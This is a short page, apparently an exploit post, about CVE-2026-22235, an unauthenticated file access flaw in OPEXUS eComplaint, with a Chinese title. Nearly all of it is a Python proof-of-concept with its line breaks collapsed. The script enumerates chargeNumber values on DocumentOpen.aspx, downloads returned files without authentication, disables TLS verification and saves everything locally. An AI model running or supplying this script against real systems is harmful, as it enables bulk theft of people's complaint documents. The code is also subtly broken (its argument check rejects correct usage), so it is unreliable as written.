CVE-2026-22235: OPEXUS eComplaint 9.0.45.0前版本存在未授权文件访问漏洞

import requests import sys # CVE-2026-22235 PoC - Unauthenticated File Access in OPEXUS eComplaint # Target: DocumentOpen.aspx endpoint def exploit_cve_2026_22235(target_url, start_charge, end_charge): """ Exploit for CVE-2026-22235: Unauthenticated file download via predictable chargeNumber """ print(f"[*] Target: {target_url}") print(f"[*] ChargeNumber range: {start_charge} - {end_charge}") for charge_number in range(start_charge, end_charge + 1): # Construct the malicious URL url = f"{target_url}/DocumentOpen.aspx?chargeNumber={charge_number}" try: # Send HTTP GET request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_length = len(response.content) # Check if response contains file data if 'application' in content_type or content_length > 1000: print(f"[+] FOUND: chargeNumber={charge_number}") print(f" Content-Type: {content_type}") print(f" Size: {content_length} bytes") # Save the file filename = f"file_{charge_number}.bin" with open(filename, 'wb') as f: f.write(response.content) print(f" Saved as: {filename}") else: print(f"[*] chargeNumber={charge_number} - Empty or no file") elif response.status_code == 404: print(f"[-] chargeNumber={charge_number} - Endpoint not found") else: print(f"[*] chargeNumber={charge_number} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error with chargeNumber={charge_number}: {e}") print("[*] Scan completed") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-22235.py <target_url> <start_charge> <end_charge>") print("Example: python cve-2026-22235.py https://vulnerable-site.com 1 1000") sys.exit(1) target = sys.argv[1] start = int(sys.argv[2]) end = int(sys.argv[3]) exploit_cve_2026_22235(target, start, end)